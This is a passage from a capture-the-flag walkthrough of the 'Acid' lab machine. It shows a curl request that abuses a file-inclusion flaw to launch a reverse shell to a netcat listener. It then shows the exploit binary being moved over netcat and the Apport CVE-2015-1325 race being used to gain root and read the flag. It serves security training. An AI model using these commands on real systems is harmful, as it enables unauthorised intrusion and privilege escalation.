root@kali:~# curl -s --cookie "sec_session_id=64uk8pthsvr3939mm9joa5u254" "http://192.168.2.102:33447/Challenge/include.php?file=/tmp/shell.php&cmd=$(php -r "echo urlencode('cd /tmp;perl revshell.pl');")" | sed  '/<!DOCTYPE html>/,/*/d'

And we successfully receive our reverse shell:

RCE
1
2
3
4
5
6
7
8
9
10
11
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.2.108] from (UNKNOWN) [192.168.2.102] 39553
 23:13:11 up  1:33,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/
/usr/sbin/apache: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@acid:/$ 

Privilege Escalation and Capturing the Flag

Lets get the OS version information:

OS Info
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@acid:/$ uname -a
uname -a
Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux
www-data@acid:/$ cat /etc/os-release
cat /etc/os-release
NAME="Ubuntu"
VERSION="15.04 (Vivid Vervet)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 15.04"
VERSION_ID="15.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

Acid server is running under Ubuntu version 15.04 which is affected with a local root race condition vulnerability “CVE-2015-1325”. There is a public exploit for this vulnerability: “Apport/Ubuntu - Local Root Race Condition” which we will use to gain root privileges on Acid server.

Lets compile and transfer the exploit to the target system.

On our local machine:

1
2
root@kali:~# gcc 37088.c -o apport
root@kali:~# nc -nvlp 7777 < apport

And on Acid server:

1
2
3
4
5
www-data@acid:/$ cd /tmp
cd /tmp
www-data@acid:/tmp$ nc -nv 192.168.2.108 7777 > apport
nc -nv 192.168.2.108 7777 > apport
Connection to 192.168.2.108 7777 port [tcp/*] succeeded!

Then:

1
2
www-data@acid:/tmp$ chmod +x apport
chmod +x apport

And finally we execute the exploit and escalate our privileges to root:

Note: The exploit just hangs on the first attempt, but it has been executed successfully on the second one.

root access and capturing the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
www-data@acid:/tmp$ ./apport
./apport
created /var/crash/_bin_sleep.33.crash
crasher: my pid is 1831
apport stopped, pid = 1832
getting pid 1831
current pid = 1830..2500..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500..
** child: current pid = 1831
** child: executing /bin/su
Password: sleeping 2s..

checker: mode 4534
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..
success
# id
id
uid=0(root) gid=0(root) groups=0(root)
# python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
  ____                            _         _       _   _
 / ___|___  _ __   __ _ _ __ __ _| |_ _   _| | __ _| |_(_) ___  _ __  ___
| |   / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
 \____\___/|_| |_|\__, |_|  \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
                  |___/
root@acid:/tmp# cd /root
cd /root
root@acid:~# ls
ls
flag.txt
root@acid:~# cat flag.txt
cat flag.txt


Dear Hax0r,


You have successfully completed the challenge.

I  hope you like it.


FLAG NAME: "Acid@Makke@Hax0r"


Kind & Best Regards

-ACID
facebook: https://facebook.com/m.avinash143

Mission Accomplished.